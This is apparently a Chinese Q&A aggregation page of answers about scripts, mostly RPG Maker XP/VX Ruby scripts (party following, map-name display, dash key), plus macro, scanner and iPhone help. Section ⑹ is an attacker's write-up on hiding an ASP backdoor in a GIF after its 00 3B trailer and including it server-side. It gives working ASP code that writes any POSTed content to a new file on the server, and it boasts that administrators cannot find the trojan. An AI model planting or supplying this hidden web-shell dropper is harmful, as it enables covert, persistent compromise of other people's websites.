xs腳本
⑴ rmxp 有沒有什麼腳本可以做出來像仙一一樣幾個主角一起在地圖裡面走的
人物跟隨腳本,再腳本庫MAIN前插入:
#腳本功能:人物跟隨
#使用方法:全選後在腳本中新建一個類,將全部內容插入
#效果:在游戲中當夥伴加入的時候,會跟隨在主角的後面
#版權:請參考腳本自帶主頁,有任何版權糾紛,本站不負任何責任。
# ▼▲▼ XRXS13. パーティ列車移動 ver.1.02 ▼▲▼
# by fukuyama
#
# Train_Actor
#
# [email protected]
# http://www4.big.or.jp/~fukuyama/rgss/Train_Actor.txt
mole Train_Actor
TRANSPARENT_SWITCH = false
TRANSPARENT_SWITCHES_INDEX = 20
TRAIN_ACTOR_SIZE_MAX = 4
#Input::DOWN = 2
#Input::LEFT = 4
#Input::RIGHT = 6
#Input::UP = 6
DOWN_LEFT = 1
DOWN_RIGHT = 3
UP_LEFT = 7
UP_RIGHT = 9
JUMP = 5
class Game_Party_Actor < Game_Character
def initialize
super()
@through = true
end
def setup(actor)
# キャラクターのファイル名と色相を設定
if actor != nil
@character_name = actor.character_name
@character_hue = actor.character_hue
else
@character_name = ""
@character_hue = 0
end
# 不透明度と合成方法を初期化
@opacity = 255
@blend_type = 0
end
def screen_z(height = 0)
if $game_player.x == @x and $game_player.y == @y
return $game_player.screen_z(height) - 1
end
super(height)
end
#--------------------------------------------------------------------------
# ● 下に移動
# turn_enabled : その場での向き変更を許可するフラグ
#--------------------------------------------------------------------------
def move_down(turn_enabled = true)
# 下を向く
if turn_enabled
turn_down
end
# 通行可能な場合
if passable?(@x, @y, Input::DOWN)
# 下を向く
turn_down
# 座標を更新
@y += 1
end
end
#--------------------------------------------------------------------------
# ● 左に移動
# turn_enabled : その場での向き変更を許可するフラグ
#--------------------------------------------------------------------------
def move_left(turn_enabled = true)
# 左を向く
if turn_enabled
turn_left
end
# 通行可能な場合
if passable?(@x, @y, Input::LEFT)
# 左を向く
turn_left
# 座標を更新
@x -= 1
end
end
#--------------------------------------------------------------------------
# ● 右に移動
# turn_enabled : その場での向き変更を許可するフラグ
#--------------------------------------------------------------------------
def move_right(turn_enabled = true)
# 右を向く
if turn_enabled
turn_right
end
# 通行可能な場合
if passable?(@x, @y, Input::RIGHT)
# 右を向く
turn_right
# 座標を更新
@x += 1
end
end
#--------------------------------------------------------------------------
# ● 上に移動
# turn_enabled : その場での向き変更を許可するフラグ
#--------------------------------------------------------------------------
def move_up(turn_enabled = true)
# 上を向く
if turn_enabled
turn_up
end
# 通行可能な場合
if passable?(@x, @y, Input::UP)
# 上を向く
turn_up
# 座標を更新
@y -= 1
end
end
#--------------------------------------------------------------------------
# ● 左下に移動
#--------------------------------------------------------------------------
def move_lower_left
# 向き固定でない場合
unless @direction_fix
# 右向きだった場合は左を、上向きだった場合は下を向く
@direction = (@direction == Input::RIGHT ? Input::LEFT : @direction == Input::UP ? Input::DOWN : @direction)
end
# 下→左、左→下 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::DOWN) and passable?(@x, @y + 1, Input::LEFT)) or
(passable?(@x, @y, Input::LEFT) and passable?(@x - 1, @y, Input::DOWN))
# 座標を更新
@x -= 1
@y += 1
end
end
#--------------------------------------------------------------------------
# ● 右下に移動
#--------------------------------------------------------------------------
def move_lower_right
# 向き固定でない場合
unless @direction_fix
# 左向きだった場合は右を、上向きだった場合は下を向く
@direction = (@direction == Input::LEFT ? Input::RIGHT : @direction == Input::UP ? Input::DOWN : @direction)
end
# 下→右、右→下 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::DOWN) and passable?(@x, @y + 1, Input::RIGHT)) or
(passable?(@x, @y, Input::RIGHT) and passable?(@x + 1, @y, Input::DOWN))
# 座標を更新
@x += 1
@y += 1
end
end
#--------------------------------------------------------------------------
# ● 左上に移動
#--------------------------------------------------------------------------
def move_upper_left
# 向き固定でない場合
unless @direction_fix
# 右向きだった場合は左を、下向きだった場合は上を向く
@direction = (@direction == Input::RIGHT ? Input::LEFT : @direction == Input::DOWN ? Input::UP : @direction)
end
# 上→左、左→上 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::UP) and passable?(@x, @y - 1, Input::LEFT)) or
(passable?(@x, @y, Input::LEFT) and passable?(@x - 1, @y, Input::UP))
# 座標を更新
@x -= 1
@y -= 1
end
end
#--------------------------------------------------------------------------
# ● 右上に移動
#--------------------------------------------------------------------------
def move_upper_right
# 向き固定でない場合
unless @direction_fix
# 左向きだった場合は右を、下向きだった場合は上を向く
@direction = (@direction == Input::LEFT ? Input::RIGHT : @direction == Input::DOWN ? Input::UP : @direction)
end
# 上→右、右→上 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::UP) and passable?(@x, @y - 1, Input::RIGHT)) or
(passable?(@x, @y, Input::RIGHT) and passable?(@x + 1, @y, Input::UP))
# 座標を更新
@x += 1
@y -= 1
end
end
attr_writer :move_speed
attr_writer :step_anime
end
mole Spriteset_Map_Mole
def setup_actor_character_sprites?
return @setup_actor_character_sprites_flag != nil
end
def setup_actor_character_sprites(characters)
if !setup_actor_character_sprites?
index_game_player = 0
@character_sprites.each_index do |i|
if @character_sprites.character.instance_of?(Game_Player)
index_game_player = i
break
end
end
for character in characters.reverse
@character_sprites.unshift(
Sprite_Character.new(@viewport1, character)
)
end
@setup_actor_character_sprites_flag = true
end
end
end
mole Scene_Map_Mole
def setup_actor_character_sprites(characters)
@spriteset.setup_actor_character_sprites(characters)
end
end
mole Game_Party_Mole
def set_transparent_actors(transparent)
@transparent = transparent
end
def setup_actor_character_sprites
if @characters == nil
@characters = []
for i in 1 ... TRAIN_ACTOR_SIZE_MAX
@characters.push(Game_Party_Actor.new)
end
end
for i in 1 ... TRAIN_ACTOR_SIZE_MAX
@characters[i - 1].setup(actors)
end
if $scene.class.method_defined?('setup_actor_character_sprites')
$scene.setup_actor_character_sprites(@characters)
end
end
def update_party_actors
setup_actor_character_sprites
transparent = $game_player.transparent
if transparent == false
if TRANSPARENT_SWITCH
transparent = $game_switches[TRANSPARENT_SWITCHES_INDEX]
end
end
for character in @characters
character.transparent = transparent
character.move_speed = $game_player.move_speed
character.step_anime = $game_player.step_anime
character.update
end
end
def moveto_party_actors( x, y )
setup_actor_character_sprites
for character in @characters
character.moveto( x, y )
end
if @move_list == nil
@move_list = []
end
move_list_setup
end
def move_party_actors
if @move_list == nil
@move_list = []
move_list_setup
end
@move_list.each_index do |i|
if @characters != nil
case @move_list.type
when Input::DOWN
@characters.move_down(@move_list.args[0])
when Input::LEFT
@characters.move_left(@move_list.args[0])
when Input::RIGHT
@characters.move_right(@move_list.args[0])
when Input::UP
@characters.move_up(@move_list.args[0])
when DOWN_LEFT
@characters.move_lower_left
when DOWN_RIGHT
@characters.move_lower_right
when UP_LEFT
@characters.move_upper_left
when UP_RIGHT
@characters.move_upper_right
when JUMP
@characters.jump(@move_list.args[0],@move_list.args[1])
end
end
end
end
class Move_List_Element
def initialize(type,args)
@type = type
@args = args
end
def type() return @type end
def args() return @args end
end
def move_list_setup
for i in 0 .. TRAIN_ACTOR_SIZE_MAX
@move_list = nil
end
end
def add_move_list(type,*args)
@move_list.unshift(Move_List_Element.new(type,args)).pop
end
def move_down_party_actors(turn_enabled = true)
move_party_actors
add_move_list(Input::DOWN,turn_enabled)
end
def move_left_party_actors(turn_enabled = true)
move_party_actors
add_move_list(Input::LEFT,turn_enabled)
end
def move_right_party_actors(turn_enabled = true)
move_party_actors
add_move_list(Input::RIGHT,turn_enabled)
end
def move_up_party_actors(turn_enabled = true)
move_party_actors
add_move_list(Input::UP,turn_enabled)
end
def move_lower_left_party_actors
move_party_actors
add_move_list(DOWN_LEFT)
end
def move_lower_right_party_actors
move_party_actors
add_move_list(DOWN_RIGHT)
end
def move_upper_left_party_actors
move_party_actors
add_move_list(UP_LEFT)
end
def move_upper_right_party_actors
move_party_actors
add_move_list(UP_RIGHT)
end
def jump_party_actors(x_plus, y_plus)
move_party_actors
add_move_list(JUMP,x_plus, y_plus)
end
end
mole Game_Player_Mole
def update
$game_party.update_party_actors
super
end
def moveto( x, y )
$game_party.moveto_party_actors( x, y )
super( x, y )
end
def move_down(turn_enabled = true)
if passable?(@x, @y, Input::DOWN)
$game_party.move_down_party_actors(turn_enabled)
end
super(turn_enabled)
end
def move_left(turn_enabled = true)
if passable?(@x, @y, Input::LEFT)
$game_party.move_left_party_actors(turn_enabled)
end
super(turn_enabled)
end
def move_right(turn_enabled = true)
if passable?(@x, @y, Input::RIGHT)
$game_party.move_right_party_actors(turn_enabled)
end
super(turn_enabled)
end
def move_up(turn_enabled = true)
if passable?(@x, @y, Input::UP)
$game_party.move_up_party_actors(turn_enabled)
end
super(turn_enabled)
end
def move_lower_left
# 下→左、左→下 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::DOWN) and passable?(@x, @y + 1, Input::LEFT)) or
(passable?(@x, @y, Input::LEFT) and passable?(@x - 1, @y, Input::DOWN))
$game_party.move_lower_left_party_actors
end
super
end
def move_lower_right
# 下→右、右→下 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::DOWN) and passable?(@x, @y + 1, Input::RIGHT)) or
(passable?(@x, @y, Input::RIGHT) and passable?(@x + 1, @y, Input::DOWN))
$game_party.move_lower_right_party_actors
end
super
end
def move_upper_left
# 上→左、左→上 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::UP) and passable?(@x, @y - 1, Input::LEFT)) or
(passable?(@x, @y, Input::LEFT) and passable?(@x - 1, @y, Input::UP))
$game_party.move_upper_left_party_actors
end
super
end
def move_upper_right
# 上→右、右→上 のどちらかのコースが通行可能な場合
if (passable?(@x, @y, Input::UP) and passable?(@x, @y - 1, Input::RIGHT)) or
(passable?(@x, @y, Input::RIGHT) and passable?(@x + 1, @y, Input::UP))
$game_party.move_upper_right_party_actors
end
super
end
def jump(x_plus, y_plus)
# 新しい座標を計算
new_x = @x + x_plus
new_y = @y + y_plus
# 加算値が (0,0) の場合か、ジャンプ先が通行可能な場合
if (x_plus == 0 and y_plus == 0) or passable?(new_x, new_y, 0)
$game_party.jump_party_actors(x_plus, y_plus)
end
super(x_plus, y_plus)
end
attr_reader :move_speed
attr_reader :step_anime
end
end # mole Train_Actor
class Game_Party
include Train_Actor::Game_Party_Mole
end
class Game_Player
include Train_Actor::Game_Player_Mole
end
class Spriteset_Map
include Train_Actor::Spriteset_Map_Mole
end
class Scene_Map
include Train_Actor::Scene_Map_Mole
end
⑵ 求一個qq三國XS卡技能後台腳本源碼
樓主 下個簡單百寶箱 裡面找連發按鍵 它會自動幫你按技能 支持後台運行
⑶ 使用nessus的漏洞庫如何給x-scan添加腳本nasl腳本直接放入x-scan的腳本文件夾是不能使用的。
一般Xscan加腳本的話直接放入就可以了,出現這種狀況可能是腳本對Xscan的版本有要求。
查看一下nessus的漏洞庫下載的原網頁,看看使用的是哪個版本的Xscan。如果沒有,使用最新版本可能會好一些。
⑷ 求按鍵精靈後台腳本,希望能在第一個窗口運行
Hwnd = Plugin.Window.MousePoint()
sRect = Plugin.Window.GetClientRect(Hwnd)
//下面這句用於分割字元串,將橫坐標和縱坐標分成兩個字元串
dim MyArray
MyArray = Split(sRect, "|")
//下面這句將字元串轉換成數值
L = Clng(MyArray(0)): T = Clng(MyArray(1))
R = Clng(MyArray(2)): B = Clng(MyArray(3))
xs_ = L:ys_ = T
//*******************MoveTo 215, 715:腳本僅記下移動坐標,但並不寫出移動語句,那是無意義的
Delay 500
Call Plugin.Bkgnd.KeyPress(Hwnd,9)
Delay 500
Call Plugin.Bkgnd.KeyPress(Hwnd,70)
Delay 500
Call Plugin.Bkgnd.LeftClick(Hwnd,215 - xs_, 715 - ys_)
Delay 500
Call Plugin.Bkgnd.KeyPress(Hwnd,81)
將滑鼠移動到窗口內啟動即可,與窗口位置無關。
⑸ 求rpg製作大師vx的各種實用腳本!急!
#==============================================================================
# ■ 地圖名顯示腳本
# by Yuee
#------------------------------------------------------------------------------
# 在Main的上方插入一個頁,將本腳本復制到那頁中即可
#==============================================================================
#==============================================================================
# ■ Window_MapName
#------------------------------------------------------------------------------
# 顯示地圖名字的窗口。
#==============================================================================
class Window_MapName < Window_Base
#--------------------------------------------------------------------------
# ● 類常量定義
#--------------------------------------------------------------------------
# 暫時屏蔽用的開關
SWITCH = 35
# 窗口位置設定
NAME_X = 380 # 矩形左上頂點X坐標
NAME_Y = 20 # 矩形左上頂點Y坐標
NAME_W = 220 # 矩形寬
NAME_H = 60 # 矩形高
# 顯示時間設置
SHOW_TIME_0 = 10 # 地圖名出現前等待的幀數
SHOW_TIME_1 = 10 # 地圖名從不可見變成可見的幀數
SHOW_TIME_2 = 34 # 地圖名完全可見的幀數
SHOW_TIME_3 = 16 # 地圖名從可見變成不可見的幀數
# 完全可見時的透明度設置
OPACITY_1 = 244 # 邊框
OPACITY_2 = 144 # 背景
OPACITY_3 = 255 # 文字
# 地圖名字的顏色
TEXT_COLOR = Color.new(255, 255, 255, 255)
#--------------------------------------------------------------------------
# ● 初始化狀態
#--------------------------------------------------------------------------
def initialize
super(NAME_X , NAME_Y, NAME_W, NAME_H)
# 初始化窗口透明度
self.opacity = 0
self.back_opacity = 0
self.contents_opacity = 0
self.contents = Bitmap.new(width - 32, height - 32)
# 剩餘幀數初始化
@show_time = 0
end
#--------------------------------------------------------------------------
# ● 輸出文字
#--------------------------------------------------------------------------
def setname
unless $game_switches[SWITCH]==true
# 獲取地圖ID
newid = $game_map.map_id
time = SHOW_TIME_1 + SHOW_TIME_2 + SHOW_TIME_3
# 如果現在的地圖的ID不是剛才顯示的地圖ID則開始顯示
if newid != @id
@id = newid
@show_time = SHOW_TIME_0 + SHOW_TIME_1 + SHOW_TIME_2 + SHOW_TIME_3
# 剩餘幀數為0是時,全部窗口透明
elsif @show_time < 1
self.opacity = 0
self.back_opacity = 0
self.contents_opacity = 0
return
end
self.contents.clear
self.contents.font.color = TEXT_COLOR
# 描繪地圖名
self.contents.draw_text(4, 0 , width - 40, 32, $data_mapinfos[@id].name, 1)
# 根本幀數設定窗口透明度
if @show_time > (SHOW_TIME_2 + SHOW_TIME_3)
self.opacity = @show_time < time ? (((OPACITY_1 / SHOW_TIME_1) * (time - @show_time)).to_i) : 0
self.back_opacity = @show_time < time ? (((OPACITY_2 / SHOW_TIME_1 )* (time - @show_time)).to_i) : 0
self.contents_opacity = @show_time < time ? (((OPACITY_3 / SHOW_TIME_1) * (time - @show_time)).to_i) : 0
else
self.opacity = @show_time < (SHOW_TIME_3 / 16 * 14) ? ((OPACITY_1 / SHOW_TIME_3) * @show_time).to_i : OPACITY_1
self.back_opacity = @show_time < (SHOW_TIME_3 / 16 * 9) ? ((OPACITY_2 / SHOW_TIME_3) * @show_time).to_i : OPACITY_2
self.contents_opacity = @show_time < SHOW_TIME_3 ? ((OPACITY_3 / SHOW_TIME_3)* @show_time).to_i : OPACITY_3
end
@show_time -= 1
end
end
end
#==============================================================================
# ■ Scene_Map
#------------------------------------------------------------------------------
# 處理地圖畫面的類。(追加定義)
#==============================================================================
class Scene_Map
alias smn_main main
def main
@mapname = Window_MapName.new
smn_main
@mapname.dispose
end
alias smn_update update
def update
@mapname.setname
smn_update
end
end
#==============================================================================
# ■ Scene_Title
#------------------------------------------------------------------------------
# 處理標題畫面的類。(追加定義)
#==============================================================================
class Scene_Title
alias smn_main main
def main
# 讀取地圖信息文件
$data_mapinfos = load_data("Data/MapInfos.rxdata")
smn_main
end
end
#==============================================================================
# 本腳本來自www.66RPG.com,使用和轉載請保留此信息
#==============================================================================
# ▼▲▼ XRXS25. ダッシュ機能 ver.2 ▼▲▼
# by 桜雅 在土 (基本、再改訂)
# Tetra-Z (改訂原案)
#==============================================================================
# □ カスタマイズポイント
#==============================================================================
mole XRXS_Dash
#
# 按下加速鍵之後的速度増加量
#
PLUSPEED = 1
#
# 行走加速的按鍵
#
BUTTON = Input::C
end
#==============================================================================
# ■ Game_Player
#==============================================================================
class Game_Player < Game_Character
#--------------------------------------------------------------------------
# ● フレーム更新
#--------------------------------------------------------------------------
alias xrxs25_update update
def update
# 例外補正
if @move_speed_arcadia == nil
@move_speed_arcadia = @move_speed
end
# 移動中、イベント実行中、移動ルート強制中、
# メッセージウィンドウ表示中、
# ダッシュボタン挿下中、のいずれでもない場合
unless moving? or $game_system.map_interpreter.running? or
@move_route_forcing or $game_temp.message_window_showing
# 速度の変更
if Input.press?(XRXS_Dash::BUTTON)
@move_speed = @move_speed_arcadia + XRXS_Dash::PLUSPEED
else
@move_speed = @move_speed_arcadia
end
end
# 呼び戻す
xrxs25_update
end
#--------------------------------------------------------------------------
# ○ 移動タイプ : カスタム [オーバーライド]
#--------------------------------------------------------------------------
def move_type_custom
# 例外補正
if @move_speed_arcadia == nil
@move_speed_arcadia = @move_speed
end
# 標准速度に戻す
@move_speed = @move_speed_arcadia
# 呼び戻す
super
# 速度の保存
@move_speed_arcadia = @move_speed
end
end
#==============================================================================
# 本腳本來自www.66RPG.com,使用和轉載請保留此信息
#==============================================================================
第一個是出現地圖名腳本,第二個是空格加速腳本,直接復制就行
⑹ 圖片內加入腳本
現在從注入拿WEBSHELL看來成功率都比較高了。拿到SHELL後,安裝自己的腳本後門,常常被查殺。 腳本後門的發展史:
1。最開始就是直接放一個ASP文件上去。
2。把ASP文件加密才放上去。
3。把腳本插入到代碼中去。(我經常用這種) 不過一樣被查得出來,我前段時候手工檢測一個站的腳本安全。發現這個站被種了21個木馬。所以我就想到了,怎麼樣才能不被發現不能被查殺。 最後我研究了一下如果把腳本插入到圖片中。然後在ASP中調用圖片中的腳本程序應該就可以了。 測試的時候通過了。現在我把我的心德寫一下。讓大家來分析一下。共同進步和完善這種方法。 在研究過程中我看了GIF圖片的結構文檔方面的書。 GIF圖片都是以 00 3B 為結束的。換句話說00 3B 後面的不會顯示出來。所以我們在00 3B後面插入代碼就行了。當然代碼我們加密放到圖片中去效果更好。我寫了一個程序來這么做。 這里要說一下,在圖片中00 3B後面的是不會顯示出來的。 但其中的代碼已經運行了。圖片也會正常顯示出來。 測試:
在圖片後面加入:<%=now%>
然後在一個ASP文件中加入:<!--#include file="aaa.gif" --> 然後你們下載這個圖片,發現圖片最後面變成了時間。很正常因為圖片放到了ASP腳本中運行了其中的代碼。 換句話來說,如果寫的是一段生成文件的腳本。那麼我們提交特定的參數讓圖片中的代碼去生成文件。這樣就實現了我們的後門。 1:這種方法要做的工作就是在目標站點中找一張GIF圖片然後把代碼插入到圖片中,再上傳到站點中去。這樣作管理員很難找到木馬在哪裡。打死也想不到木馬在圖片中。 2:我們插入的代碼只有一行就是那個include file .....
找個文件大點的ASP文件給插進去就行了。 然後我們在本地POST數據提交給ASP引用圖片的URL這樣就完成了工作。 我的插入圖片的腳本: <% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> 這段代碼主要就是在當前目錄下生成一個ok.asp文件。
文件內容是由我們提交的數據.用request("cyfddata")來獲取的。 這段代碼加密後插入到圖片中去。下面我把我程序的代碼貼出來。 本地自己構建一個提交表單向ASP文件提交(加入圖片那個文件) 表單文本框輸入內容名稱是:cyfddata 後感:
我本人認為這種方法,管理員很難查到。這是我兩天前想到的作出來了,可能有些問題希望和大家一起討論,必競,為了追求技術就得研究技術。
共享知識,從而升華。
感覺去研究一些新東西,人活得更XS些。
⑺ xsmax怎麼連接電腦
iphone xs max連接電腦具體步驟如下:
首先我們需要在電腦上面下載安裝蘋果iTunes軟體,iTunes軟體在蘋果官網上面技術支持裡面可以下載到。
將iTunes軟體安裝在電腦上之後,打開iTunes,然後將iphone xs max手機數據線連接至電腦USB介面上,成功連接到電腦以後在iTunes軟體上面會顯示一個iPhone手機圖標。(如:圖)
如果沒有圖標顯示出來的話,表明iTunes軟體與手機沒有連接成功,iphone xs max第一次連接電腦的話,手機屏幕都會出現提示有【信任此電腦】的選項,注意在iphone xs max手機上面點擊信任之後才能成功連接到上面。
或者是撥掉數據線重新在插一下,當手機成功連接到電腦上面以後我們就可以管理iphone xs max手機上面的內容了,例如,在想要更新手機系統或者備份手機上面數據資料,點擊iPhone圖標進入裡面即可進行操作。
此外,我們還可以使用iTunes管理安裝iphone xs max手機應用軟體,設置手機鈴聲、手機刷機或者是導入視頻照片等,都可以在電腦上面用iTunes來操作。
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2018-09-25
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⑻ RPG MAKER XP 腳本與素材
我發給你了
加滿血找到Window_BattleStatus42行在if中間加一句 actor.hp *= 100
就好了
⑼ XS腳本怎麼讀寫內存求個列子
app.memoryRead(pkgName,address,dataType)
app.memorySearch(pkgName,isNewSearch,address,tb,dataType,searchValueMax)
app.memorySearchModeSet(n)
app.memoryWrite(pkgName,address,value,dataType)
⑽ 我想學給手機游戲做腳本,應該從哪裡入手開始學起
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